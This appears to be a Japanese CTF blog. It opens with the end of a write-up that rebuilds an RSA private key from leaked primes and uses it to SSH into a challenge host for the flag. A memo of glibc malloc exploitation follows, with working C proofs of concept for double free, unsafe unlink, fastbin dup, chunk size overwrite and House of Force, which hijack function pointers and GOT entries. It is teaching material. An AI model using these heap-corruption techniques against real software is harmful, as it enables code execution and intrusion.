+    9e:2d:74:0f:2f:09:d0:38:3b:39:d5:1a:ae:b1:90:
+    85:8e:8a:3b:6a:d9:cb:ab:8d:93:5a:a1:bd:01:d1:
+    cb:ba:23:8a:f4:df:84:55:d7:d7:89:c7:1e:e6:09:
+    1f:71:1e:76:6f:63:3a:04:20:f5:30:ad:b7:04:95:
+    06:60:70:a0:70:73:fc:b0:1d:21:cc:2f:d5:64:8d:
+    9f:54:75:d7:69:69:7d:3e:32:58:68:31:5a:b8:e5:
+    0e:73:50:0f:4c:2d:0b:85:48:ce:38:e0:13:38:29:
+    4e:81
 publicExponent: 65537 (0x10001)
 privateExponent:
-    39:cd:97:3d:57:9d:24:28:43:b9:2d:51:d3:6b:fc:
-    95:d2:b2:b6:da:5e:c7:a2:d7:83:d2:9c:0d:5e:f7:
-    f8:33:ae:cf:3f:43:4a:62:78:45:fd:4b:f5:13:fa:
-    f0:5e:96:b7:33:d2:d8:d4:4f:03:bc:86:2e:ee:14:
-    83:bd:ca:43:81:31:ac:d4:15:fe:d8:ac:03:17:45:
-    42:21:04:53:6b:df:fa:b6:1c:3e:cf:f2:cd:6a:70:
-    7b:36:8d:a9:ff:0c:8a:03:9f:00:a8:6c:7a:da:8f:
-    fb:43:98:66:32:55:12:cb:f4:21:aa:f8:0e:8a:06:
-    a7:86:69:a3:ba:9f:77:6a:71:49:a2:47:2f:f2:79:
-    2b:c0:d7:84:f9:3f:f8:77:39:c5:03:f6:74:86:53:
-    d3:8e:46:9a:11:21:2f:8c:65:aa:4f:f3:51:8c:d2:
-    ed:82:14:a0:e0:1a:fa:1f:25:2d:84:f9:02:74:b9:
-    83:c4:3c:75:05:59:46:ae:05:9e:fa:42:4b:66:aa:
-    8c:92:ef:ee:79:c6:67:88:51:33:c7:39:4b:cb:62:
-    cc:f6:b5:02:97:ce:93:66:1d:f6:c3:34:a3:7d:82:
-    e6:32:3e:0b:70:fb:b0:25:e4:56:9a:05:14:63:66:
-    d7:89:bb:8d:ec:4e:cc:4a:f1:72:f4:a1:24:2c:b6:
-    21
+    30:5b:82:3a:4e:4f:4d:ed:fd:cd:3b:00:55:d9:ff:
+    94:94:66:bb:68:be:58:70:1a:78:1f:91:d7:b2:90:
+    46:e9:47:b2:de:99:df:4b:62:a7:7d:96:05:8f:81:
+    1a:8f:37:31:47:6a:1f:35:48:52:80:39:38:d5:7b:
+    1b:75:92:9b:15:56:d2:c5:eb:0d:e6:32:6e:a9:3c:
+    da:8e:26:7d:91:6e:9f:9c:fd:85:5a:01:81:f4:ff:
+    d7:43:b2:4a:85:bf:37:8b:fb:bc:df:ab:13:ce:a1:
+    2a:5b:7e:f4:9b:f0:4b:05:0b:89:a3:1b:97:00:63:
+    69:c4:5a:e9:02:92:91:e3:0f:78:9b:3f:d3:da:b4:
+    cd:3b:3b:88:b7:48:90:b3:57:ee:c0:f0:07:53:5b:
+    25:58:c5:76:04:ad:e3:65:22:c3:9c:fe:22:ba:ba:
+    43:94:07:47:80:59:d6:30:74:7d:75:2d:f5:21:f8:
+    8f:44:a0:fe:d2:88:d9:8e:25:48:40:a2:59:b4:6d:
+    45:1b:b8:e1:60:f2:59:46:85:ec:68:ff:6c:ef:2d:
+    bb:56:31:34:f4:4d:eb:0e:6d:46:7e:8e:bf:95:51:
+    6d:51:ef:a7:b1:0b:bb:0f:20:a4:a6:cd:9c:52:59:
+    9d:67:06:3d:c8:c0:7a:0a:48:58:9c:f5:ec:5a:32:
+    81
 prime1:
-    00:ce:76:b5:36:d8:98:64:d4:e1:b3:2a:c0:d6:a6:
-    e1:e4:96:65:42:bb:a6:6e:6c:65:cb:39:99:dd:86:
-    f4:ab:4f:6d:1f:76:0b:ff:53:70:18:8b:f4:3a:c8:
-    27:d2:87:5c:8a:f4:3f:35:e7:a9:08:e2:d6:f3:fe:
-    84:50:ac:e7:92:4e:c0:7e:e6:44:ad:2a:77:08:4e:
-    4f:79:28:81:0c:0a:84:5c:59:92:50:f5:5d:b0:bc:
-    d0:50:a3:84:ce:ba:f4:f2:c0:67:a5:17:97:9a:e4:
-    56:41:05:00:41:32:7f:5f:f4:2a:06:b8:39:37:d7:
-    f4:3d:47:37:81:4b:65:33:89
+    00:e4:dd:ba:96:c1:cb:c4:f4:12:04:ee:6f:c1:6e:
+    14:83:04:38:ae:ee:4b:bd:21:af:5c:e8:8d:fd:25:
+    a1:2f:2a:9a:26:99:4e:ef:a0:e6:be:d0:4a:c2:e2:
+    9b:f6:39:b4:c8:f9:75:ad:88:6f:31:15:ec:5e:38:
+    4c:c6:8c:1f:d7:d7:db:63:cc:63:f6:34:61:52:80:
+    9c:71:d2:26:22:3d:7d:69:90:ca:e6:4d:fc:16:f1:
+    74:fa:1a:6e:e4:6b:25:af:af:fc:f3:93:6a:61:d3:
+    f2:c6:9d:6c:ee:99:4f:ef:f8:f2:f0:a7:06:38:42:
+    01:10:d3:03:d0:75:ab:16:d3
 prime2:
-    00:cc:df:b7:b2:50:8f:25:a5:bd:e7:d5:c4:ed:ed:
-    fe:53:22:0f:42:e5:f1:d9:5b:66:08:19:ce:03:f6:
-    00:0d:f5:a3:23:46:5c:d6:96:79:b1:b1:f9:be:eb:
-    40:5c:85:3b:67:7c:3f:8e:f8:6b:c2:30:89:84:cf:
-    67:94:44:02:57:7c:ea:4f:52:75:19:66:40:1c:82:
-    25:c0:22:87:15:d0:ef:66:e9:7b:a8:91:33:fa:2b:
-    37:e7:ba:1f:a4:88:93:65:ac:58:0e:90:da:6f:d3:
-    b8:a0:12:c5:a1:69:df:41:4a:7f:c0:ed:a5:bd:1f:
-    8e:b6:2d:9c:7f:06:19:d8:bd
+    00:de:e5:59:98:94:7b:fd:b7:5c:7e:34:9b:c7:6a:
+    16:73:a8:c4:1b:62:92:9c:24:2c:0e:3d:0c:80:87:
+    38:97:25:18:f8:63:93:04:b3:34:0d:6a:88:51:0c:
+    c5:24:e3:79:63:a4:2d:06:38:f6:05:57:2a:a7:b9:
+    3e:da:07:dc:29:45:71:18:fa:9a:99:00:62:f0:5d:
+    00:25:d5:46:7d:3e:df:8d:b4:48:cf:12:ed:4a:b6:
+    79:67:be:70:c2:a5:61:7b:30:85:d0:e1:51:35:7d:
+    63:b1:ec:a4:b5:37:46:fc:be:58:6c:dc:8a:44:05:
+    cf:af:71:9f:3f:01:13:18:db
 exponent1:
-    73:c4:c4:5f:f8:9b:9b:0e:73:70:0f:6d:09:ef:91:
-    82:a7:82:28:25:28:71:8a:7e:99:b1:b6:c1:2c:c7:
-    4c:b7:c0:ac:7f:78:c2:b6:7a:88:89:11:6d:54:86:
-    5f:da:5e:dd:db:8f:06:1e:db:fd:8b:94:94:44:06:
-    d5:65:de:83:7f:7d:18:aa:ed:9f:5b:cc:5a:ef:ee:
-    48:35:9a:06:b2:6e:fd:89:8c:2d:b1:27:d3:ce:4b:
-    d0:ab:9f:f0:7b:8c:96:01:a5:1c:41:5a:55:13:eb:
-    f9:91:60:4f:2e:8d:95:b4:47:4c:75:48:40:33:eb:
-    53:e0:f7:12:9c:c0:26:61
+    06:1a:b3:e3:59:7f:e9:dc:e8:ae:20:fd:f2:16:d1:
+    8d:3d:0b:95:fe:dd:1e:4a:4b:b7:1a:ac:ce:d7:b6:
+    18:df:f6:04:99:8a:35:72:01:35:8d:b0:b0:ca:02:
+    86:ea:bb:1b:b1:2b:a6:59:41:3d:f9:eb:b8:07:a0:
+    64:9b:50:2e:1d:9f:c8:65:a7:34:e5:e8:c2:9e:93:
+    8d:a5:a1:46:c0:85:1b:cf:b4:d9:b7:b2:c5:99:e3:
+    18:d8:a3:a4:8c:07:11:4c:8c:5e:a2:cb:ef:98:0b:
+    9d:a8:8d:43:3f:eb:95:e6:f9:f3:d9:40:9d:37:85:
+    77:c1:69:14:a2:4e:d1:e9
 exponent2:
     7d:2f:de:e1:b8:d4:1f:9f:0d:51:d2:90:09:0b:3a:
-    32:b6:47:39:0b:a5:22:b9:f4:b8:d2:7b:ce:73:cd:
-    48:ba:66:3b:31:cd:9c:da:49:f6:48:d8:60:cf:03:
-    7f:05:72:6d:23:c0:fa:ad:d5:ba:cd:49:da:bb:99:
-    81:41:a5:64:ac:51:c8:b2:8c:17:3f:21:c1:c9:cd:
-    23:80:75:a6:e1:0a:c8:89:b7:24:23:c5:ed:01:e7:
-    a1:53:5b:ee:7f:fe:01:4c:b4:6a:02:1d:57:e3:b9:
-    97:26:a1:58:a6:86:e3:30:90:ab:e5:0b:37:6b:47:
-    1b:0e:f7:e7:ae:64:b0:c9
+    32:b6:47:39:0b:a5:22:b9:f4:b8:d3:e8:2e:cf:96:
+    59:a2:76:fe:5e:db:49:43:53:fd:4a:ed:cf:16:d8:
+    0c:1c:2f:fd:23:c0:fa:ad:d5:ba:cd:49:da:bb:99:
+    81:41:a5:64:ac:51:c8:b2:8c:17:3f:21:c1:c9:54:
+    ea:bf:a8:0a:11:b6:c8:89:b7:24:23:c5:ed:01:e7:
+    a1:53:5b:ee:7f:fe:01:4c:b4:6a:0e:0a:6c:39:81:
+    10:8e:69:5d:45:59:88:0b:ff:22:c8:6b:1a:6f:7b:
+    2b:c3:42:a2:4e:0f:b4:c9
 coefficient:
     39:27:09:7d:f2:1d:84:33:49:f2:10:3b:38:e4:51:
     14:7a:e0:79:f1:6e:72:75:8f:a4:04:8f:54:24:05:
-    90:72:ca:35:1e:45:4a:c5:b6:bd:f8:0c:89:50:f3:
-    3b:ae:5d:8f:3b:be:43:93:87:2c:89:49:ad:8d:25:
+    90:72:ca:35:1e:78:85:44:52:a2:7d:35:8a:79:16:
+    3d:47:ae:8f:3b:be:43:93:87:2c:89:49:ad:8d:25:
     02:36:17:c6:1a:7c:49:00:5d:9b:fa:59:0e:6c:dd:
-    1d:fa:37:49:de:ff:fe:2d:06:66:99:60:64:7b:dd:
-    36:cc:47:a2:b3:aa:2d:9c:9e:3b:64:c9:d6:af:0e:
-    0c:7b:e5:ca:dc:72:65:2c:59:80:3a:c6:94:34:55:
-    49:3a:42:e9:55:d4:d7:0e
+    1d:fa:37:49:de:ff:fe:2d:06:67:7b:e2:12:bf:27:
+    e8:3f:c2:19:3d:ba:0d:56:4d:87:46:37:fa:89:75:
+    20:a6:a9:df:3e:84:3f:ab:3c:05:12:56:10:27:23:
+    ef:1d:fe:d1:79:83:ad:0d
p = """
    00:e4:dd:ba:96:c1:cb:c4:f4:12:04:ee:6f:c1:6e:
    14:83:04:38:ae:ee:4b:bd:21:af:5c:e8:8d:fd:25:
    a1:2f:2a:9a:26:99:4e:ef:a0:e6:be:d0:4a:c2:e2:
    9b:f6:39:b4:c8:f9:75:ad:88:6f:31:15:ec:5e:38:
    4c:c6:8c:1f:d7:d7:db:63:cc:63:f6:34:61:52:80:
    9c:71:d2:26:22:3d:7d:69:90:ca:e6:4d:fc:16:f1:
    74:fa:1a:6e:e4:6b:25:af:af:fc:f3:93:6a:61:d3:
    f2:c6:9d:6c:ee:99:4f:ef:f8:f2:f0:a7:06:38:42:
    01:10:d3:03:d0:75:ab:16:d3
"""
q = """
    00:de:e5:59:98:94:7b:fd:b7:5c:7e:34:9b:c7:6a:
    16:73:a8:c4:1b:62:92:9c:24:2c:0e:3d:0c:80:87:
    38:97:25:18:f8:63:93:04:b3:34:0d:6a:88:51:0c:
    c5:24:e3:79:63:a4:2d:06:38:f6:05:57:2a:a7:b9:
    3e:da:07:dc:29:45:71:18:fa:9a:99:00:62:f0:5d:
    00:25:d5:46:7d:3e:df:8d:b4:48:cf:12:ed:4a:b6:
    79:67:be:70:c2:a5:61:7b:30:85:d0:e1:51:35:7d:
    63:b1:ec:a4:b5:37:46:fc:be:58:6c:dc:8a:44:05:
    cf:af:71:9f:3f:01:13:18:db
"""

p = p.replace(':', ' ').replace('\n', ' ').replace(' ', '')
q = q.replace(':', ' ').replace('\n', ' ').replace(' ', '')
p = int(p, 16)
q = int(q, 16)
e = 65537
print p
print q
print e
$ python test.py
160715260849342318931136112813341037345926969012288227225240875622403009493539093929333081548188459992247771680452063593583756278915740193557402138743266217376005578973188641800583345510266770139969709567420846366801788060791738229180205729066714584288249507088921482835100030743352147986722422517067206563539
156522822773738162417254450203271175855220146400024771706084276654684994055624152101542626647589634389361232150411812572776336649201321449632016603858688896275125914484326556417817195311471437215701390750315213065194536381852437122083849274951300180499399546807140772435452395099516509211865918104434503784667
65537

$ python rsatool.py -p 160715260849342318931136112813341037345926969012288227225240875622403009493539093929333081548188459992247771680452063593583756278915740193557402138743266217376005578973188641800583345510266770139969709567420846366801788060791738229180205729066714584288249507088921482835100030743352147986722422517067206563539 -q 156522822773738162417254450203271175855220146400024771706084276654684994055624152101542626647589634389361232150411812572776336649201321449632016603858688896275125914484326556417817195311471437215701390750315213065194536381852437122083849274951300180499399546807140772435452395099516509211865918104434503784667 -o generated.pem

$ ssh -i generated.pem -p 1504 berlin@cthulhu.fluxfingers.net
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 3.13.0-65-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Thu Oct 20 15:39:03 2016 from 78-23-31-228.access.telenet.be
Congratz! The flag is:
flag{thought_ssh_privkeys_are_secure?}
Connection to cthulhu.fluxfingers.net closed.

所感

他に解きたかった問題。

  • CthCoin (Crypto / Web 150 (+ 100))
  • maze (Programming / Misc 200 (+ 7))
  • dataonly (Exploiting 200 (+ 7))

glibc malloc exploit techniques

malloc系exploitテクニックのうち、応用しやすそうなもののメモ。

環境

Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23

$ uname -a
Linux vm-ubuntu64 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.

double free vulnerability and overlapping chunks

double free脆弱性は一度freeしたポインタをもう一度freeできてしまう脆弱性である。 この脆弱性を使うと、次のようにしてオーバーラップしたchunkを二つ得ることができる。 また、これらを利用することでサイズの違うchunkの書き換えやヒープアドレス、libcアドレスのリークを行うことができる。

/* double_free.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    puts("[+] allocate p1");
    char *p1 = malloc(0x80);
    printf("p1 = %p\n", p1);

    puts("\n[+] free p1");
    free(p1);

    puts("\n[+] allocate p2");
    char *p2 = malloc(0x90);
    printf("p2 = %p\n", p2);

    puts("\n[+] p1 double free");
    free(p1);

    puts("\n[+] allocate p3");
    char *p3 = malloc(0xa0);
    printf("p3 = %p\n", p3);

    puts("\n[+] now p2 and p3 are overlapped");
    memset(p2, 'A', 0x80);
    memset(p3, 'B', 0x80);
    printf("*p2 = %s\n", p2);
    printf("*p3 = %s\n", p3);

    puts("\n[+] allocate p4, p5, p6");
    char *p4 = malloc(0xb0);
    char *p5 = malloc(0xc0);
    char *p6 = malloc(0xd0);
    printf("p4 = %p\n", p4);
    printf("p5 = %p\n", p5);
    printf("p6 = %p\n", p6);

    puts("\n[+] free p5 and p2");
    free(p5);
    free(p2);

    puts("\n[+] leak heap address via p3");
    printf("*p3 = %p\n", *(void **)p3);
    printf("heap base = %p\n", *(void **)p3 - 0x580);

    puts("\n[+] free p6");
    free(p6);

    puts("\n[+] leak libc address via p3: &(main_arena->top)");
    printf("*p3 = %p\n", *(void **)p3);
    printf("libc base = %p\n", *(void **)p3 - 0x3c3b78);

    return 0;
}
$ gcc double_free.c -o double_free

$ ./double_free
[+] allocate p1
p1 = 0x235a420

[+] free p1

[+] allocate p2
p2 = 0x235a420

[+] p1 double free

[+] allocate p3
p3 = 0x235a420

[+] now p2 and p3 are overlapped
*p2 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
*p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

[+] allocate p4, p5, p6
p4 = 0x235a4d0
p5 = 0x235a590
p6 = 0x235a660

[+] free p5 and p2

[+] leak heap address via p3
*p3 = 0x235a580
heap base = 0x235a000

[+] free p6

[+] leak libc address via p3: &(main_arena->top)
*p3 = 0x7f8990ea9b78
libc base = 0x7f8990ae6000

ヒープオーバーフローやこの挙動を利用してheap上のchunk headerを書き換えることにより、以降に述べる攻撃が可能となる。

allocate large chunks in heap segment

通常0x20000バイト(M_MMAP_THRESHOLD)以上のメモリをallocすると、その領域はmmapにより確保される。 しかし、一度確保したメモリをfreeしてからあらためてallocすると、以降の領域はheap領域に確保される。

/* large_chunks_in_heap.c */
#include <stdio.h>
#include <stdlib.h>

int main()
{
    puts("[+] allocate p1");
    char *p1 = malloc(0x21000);
    printf("p1 = %p\n", p1);

    puts("\n[+] free p1");
    free(p1);

    puts("\n[+] allocate p2, p3, p4");
    char *p2 = malloc(0x21000);
    printf("p2 = %p\n", p2);
    char *p3 = malloc(0x21000);
    printf("p3 = %p\n", p3);
    char *p4 = malloc(0x21000);
    printf("p4 = %p\n", p4);

    return 0;
}
$ gcc large_chunks_in_heap.c -o large_chunks_in_heap

$ ./large_chunks_in_heap
[+] allocate p1
p1 = 0x7fbc43aa0010

[+] free p1

[+] allocate p2, p3, p4
p2 = 0x16db420
p3 = 0x16fc430
p4 = 0x171d440

unsafe unlink attack

古くに存在した攻撃手法としてunlink attackが知られているが、glibc 2.3.4以降、次に示すようなチェックによりこの攻撃は防がれている(safe unlinking)。

1413 /* Take a chunk off a bin list */
1414 #define unlink(AV, P, BK, FD) {                                            \
1415     FD = P->fd;                                                               \
1416     BK = P->bk;                                                               \
1417     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     \  /* <- here */
1418       malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
1419     else {                                                                    \
1420         FD->bk = BK;                                                          \
1421         BK->fd = FD;                                                          \
1422         if (!in_smallbin_range (P->size)                                      \
1423             && __builtin_expect (P->fd_nextsize != NULL, 0)) {                \
1424             if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
1425                 || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
1426               malloc_printerr (check_action,                                  \
1427                                "corrupted double-linked list (not small)",    \
1428                                P, AV);                                        \
1429             if (FD->fd_nextsize == NULL) {                                    \
1430                 if (P->fd_nextsize == P)                                      \
1431                   FD->fd_nextsize = FD->bk_nextsize = FD;                     \
1432                 else {                                                        \
1433                     FD->fd_nextsize = P->fd_nextsize;                         \
1434                     FD->bk_nextsize = P->bk_nextsize;                         \
1435                     P->fd_nextsize->bk_nextsize = FD;                         \
1436                     P->bk_nextsize->fd_nextsize = FD;                         \
1437                   }                                                           \
1438               } else {                                                        \
1439                 P->fd_nextsize->bk_nextsize = P->bk_nextsize;                 \
1440                 P->bk_nextsize->fd_nextsize = P->fd_nextsize;                 \
1441               }                                                               \
1442           }                                                                   \
1443       }                                                                       \
1444 }

しかし、mallocで確保される領域のポインタがbss領域など推測可能なアドレスに配置される場合、偽のfreed chunkを作ることによりこのポインタ自体を書き換えることができる。

/* unsafe_unlink.c */
#include <stdio.h>
#include <stdlib.h>

void jackpot() { puts("jackpot!"); }

char *p;

int main()
{
    printf("&p = %p\n", &p);

    puts("\n[+] allocate p and p1");
    p = malloc(0x40);
    char *p1 = malloc(0x80);
    printf("p = %p\n", p);
    printf("p1 = %p\n", p1);
    printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
    printf("p1->size = %p\n", *(void **)(p1-0x8));

    puts("\n[+] abuse p overflow");
    *(void **)(p+0x10) = (void *)&p-0x18;
    *(void **)(p+0x18) = (void *)&p-0x10;
    *(void **)(p+0x40) = 0x40;
    *(void **)(p+0x48) = 0x90;
    printf("p->fd->bk = %p\n", *(void **)(p+0x10)+0x18);
    printf("p->bk->fd = %p\n", *(void **)(p+0x18)+0x10);
    printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
    printf("p1->size = %p\n", *(void **)(p1-0x8));

    puts("\n[+] free p1 (p <- &p-0x18)");
    free(p1);
    printf("p = %p\n", p);

    puts("\n[+] modify p and write *p");
    *(void **)(p+0x18) = 0x601028;  /* printf@got */
    *(void **)p = jackpot;

    printf("p = %p\n", p);
    return 0;
}
$ gcc unsafe_unlink.c -o unsafe_unlink
unsafe_unlink.c: In function ‘main’:
unsafe_unlink.c:24:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p+0x40) = 0x40;
                        ^
unsafe_unlink.c:25:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p+0x48) = 0x90;
                        ^
unsafe_unlink.c:36:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p+0x18) = 0x601028;  /* printf@got */
                        ^

$ ./unsafe_unlink
&p = 0x601058

[+] allocate p and p1
p = 0x20bc420
p1 = 0x20bc470
p1->prev_size = (nil)
p1->size = 0x91

[+] abuse p overflow
p->fd->bk = 0x601058
p->bk->fd = 0x601058
p1->prev_size = 0x40
p1->size = 0x90

[+] free p1 (p <- &p-0x18)
p = 0x601040

[+] modify p and write *p
jackpot!

追記

上のコードで行っているPREV_INUSEクリア→prev_sizeをfake chunkに向ける→unsafe unlink attackという流れはHouse of Einherjarとして公表されている。 Einherjarは古ノルド語で、エインヘリャルと読む。 厳密には、fake chunkのfd、bkをfake chunk自身に向け、そのアドレスを返させるものを指すのかもしれない。

fastbins unlink attack

通常0x80=128バイト(M_MXFAST)未満のメモリをallocすると、その領域はfastbinsと呼ばれる特別なfree listに繋がれるchunkとして扱われる。 さらに、fastbins chunkがunlinkされる際のチェックは、通常のunlinkとは異なり、p->fd->sizeが正しいかどうかのみとなる。 これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、次のようにして攻撃を行うことができる。

/* fastbins_unlink.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

void *n = 0x51;
void (*p)() = leave;

int main()
{
    printf("&p = %p\n", &p);

    puts("\n[+] allocate p1, p2");
    char *p1 = malloc(0x20);
    char *p2 = malloc(0x40);
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);

    puts("\n[+] free p2");
    free(p2);

    puts("\n[+] abuse p1 overflow");
    *(void **)(p1+0x28) = 0x51;
    *(void **)(p1+0x30) = (void *)&p - 0x10;
    printf("p2->size = %p\n", *(void **)(p2-0x8));
    printf("p2->fd = %p\n", *(void **)(p2+0x0));

    puts("\n[+] unlink p2");
    char *p3 = malloc(0x40);
    printf("p3 = %p\n", p3);

    puts("\n[+] get target memory");
    char *p4 = malloc(0x40);
    printf("p4 = %p\n", p4);
    *(void **)p4 = jackpot;

    p();
    return 0;
}
$ gcc fastbins_unlink.c -o fastbins_unlink
fastbins_unlink.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
 void *n = 0x51;
           ^
fastbins_unlink.c: In function ‘main’:
fastbins_unlink.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p1+0x28) = 0x51;
                         ^

$ ./fastbins_unlink
&p = 0x601058

[+] allocate p1, p2
p1 = 0x1ac6420
p2 = 0x1ac6450

[+] free p2

[+] abuse p1 overflow
p2->size = 0x51
p2->fd = 0x601048

[+] unlink p2
p3 = 0x1ac6450

[+] get target memory
p4 = 0x601058
jackpot!

fastbin dup into stack

fastbinsは片方向リストとなっているため、p1、p2、p1のようにfreeすることでp1を2回free listに入れることができる。 したがって、その後同一サイズのchunkを3回mallocすると、1回目と3回目で同一のchunkがunlinkされることになる。 これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、1回目で確保したchunkの p->fd を書き換えることでfastbins unlink attackを行うことができる。 なお、慣習的にinto stackと呼ばれているが、条件を満たすアドレスであればstack上のアドレスに限らず書き換えが可能である。

/* fastbin_dup_into_stack.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

void *n = 0x51;
void (*p)() = leave;

int main()
{
    printf("&p = %p\n", &p);

    puts("\n[+] allocate p1, p2, p3");
    char *p1 = malloc(0x40);
    char *p2 = malloc(0x40);
    char *p3 = malloc(0x40);
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);
    printf("p3 = %p\n", p3);

    puts("\n[+] free p1, p2, p1");
    free(p1);
    free(p2);
    free(p1);

    puts("\n[+] allocate p4, p5");
    char *p4 = malloc(0x40);
    char *p5 = malloc(0x40);
    printf("p4 = %p\n", p4);
    printf("p5 = %p\n", p5);

    puts("\n[+] write p4->fd");
    *(void **)p4 = (void *)&p - 0x10;
    printf("p4->size = %p\n", *(void **)(p4-0x8));
    printf("p4->fd = %p\n", *(void **)p4);

    puts("\n[+] unlink p4 by allocating p6");
    char *p6 = malloc(0x40);
    printf("p6 = %p\n", p6);

    puts("\n[+] get target memory");
    char *p7 = malloc(0x40);
    printf("p7 = %p\n", p7);
    *(void **)p7 = jackpot;

    p();
    return 0;
}
$ gcc fastbin_dup_into_stack.c -o fastbin_dup_into_stack
fastbin_dup_into_stack.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
 void *n = 0x51;
           ^

$ ./fastbin_dup_into_stack
&p = 0x601058

[+] allocate p1, p2, p3
p1 = 0x1e8e420
p2 = 0x1e8e470
p3 = 0x1e8e4c0

[+] free p1, p2, p1

[+] allocate p4, p5
p4 = 0x1e8e420
p5 = 0x1e8e470

[+] write p4->fd
p4->size = 0x51
p4->fd = 0x601048

[+] unlink p4 by allocating p6
p6 = 0x1e8e420

[+] get target memory
p7 = 0x601058
jackpot!

chunk size overwrite attack

隣接するfreed chunkのサイズを書き換えることにより、次のmallocでそのchunk以降にまたがる大きなchunkを確保することができる。 GHOST脆弱性(CVE-2015-0235)のPoCにて利用された。

/* chunk_size_overwrite.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

int main()
{
    puts("[+] allocate p1, p2, p3");
    char *p1 = malloc(0x80);
    char *p2 = malloc(0x80);
    void (**p3)() = malloc(sizeof(void *));
    *p3 = leave;
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);
    printf("p3 = %p\n", p3);
    printf("p2->size = %p\n", *(void **)(p2-0x8));
    printf("*p3 = %p\n", *p3);

    puts("\n[+] free p2");
    free(p2);

    puts("\n[+] abuse p1 overflow");
    *(void **)(p1+0x88) = 0x1001;
    printf("p2->size = %p\n", *(void **)(p2-0x8));

    puts("\n[+] allocate a large chunk");
    char *p4 = malloc(0x200);
    printf("p4 = %p\n", p4);

    puts("\n[+] overwrite *p3");
    *(void **)(p4+0x90) = jackpot;
    printf("*p3 = %p\n", *p3);

    (*p3)();
    return 0;
}
$ gcc chunk_size_overwrite.c -o chunk_size_overwrite
chunk_size_overwrite.c: In function ‘main’:
chunk_size_overwrite.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p1+0x88) = 0x1001;
                         ^

$ ./chunk_size_overwrite
[+] allocate p1, p2, p3
p1 = 0x8ca420
p2 = 0x8ca4b0
p3 = 0x8ca540
p2->size = 0x91
*p3 = 0x4005f6

[+] free p2

[+] abuse p1 overflow
p2->size = 0x1001

[+] allocate a large chunk
p4 = 0x8ca4b0

[+] overwrite *p3
*p3 = 0x400607
jackpot!

House of Force attack

heap領域に並ぶchunkの一番最後(top chunk)のサイズを-1(0xFFFFFFFFFFFFFFFF)のような大きな値で書き換え、さらにサイズを細工した巨大なchunkを確保することにより、次のmallocが返すアドレスを任意の0x10の倍数となるアドレスにすることができる。 これを行うには、以下の条件をすべて満たすことが必要である。

  • top chunkのアドレスが推測可能
  • top chunkのサイズを任意の値に書き換えられる
  • その後任意のサイズのmallocを呼ぶことができる

また、次のmallocが返すアドレスの1ワード前が破壊されることに注意する必要がある。

/* house of force.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

unsigned long junk = 0xdeadbeef;
void (*p)() = leave;

int main()
{
    printf("&p = %p\n", &p);
    printf("junk = %lx\n", junk);

    puts("\n[+] allocate p1");
    char *p1 = malloc(0x40);
    char *top_chunk = p1+0x40;
    printf("p1 = %p\n", p1);
    printf("top chunk size = %p\n", *(void **)(top_chunk+0x8));

    puts("\n[+] abuse p1 overflow");
    *(void **)(p1+0x48) = -1;
    printf("top chunk size = %p\n", *(void **)(top_chunk+0x8));

    puts("\n[+] allocate a huge chunk (break &p-0x8)");
    long newsize = (void *)&p-0x10-(void *)(top_chunk+0x10);
    char *p2 = malloc(newsize);
    printf("junk = %lx\n", junk);

    puts("\n[+] get target memory");
    char *p3 = malloc(0x80);
    printf("p3 = %p\n", p3);

    if ((long)&p % 0x10 == 0) {
        *(void **)p3 = jackpot;
    } else {
        *(void **)(p3+0x8) = jackpot;
    }

    p();
    return 0;
}
$ gcc house_of_force.c -o house_of_force
